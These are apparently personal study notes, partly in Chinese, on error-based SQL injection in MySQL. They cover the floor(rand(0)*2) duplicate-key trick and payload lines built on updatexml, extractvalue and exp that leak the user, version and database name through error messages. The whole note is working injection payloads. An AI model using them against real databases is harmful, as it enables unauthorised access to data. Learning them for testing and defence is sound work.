floor(rand(0)*2)
insert floor(rand(0)*2) to key
0不存在,1才调用。
两次插入的值就会报错
select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x) a;
updatexml:
or updatexml(1,concat(0x7e,(version())),0)
and extractvalue(1,concat(0x7e,(select database())))
and exp(~(select * from(select user())a));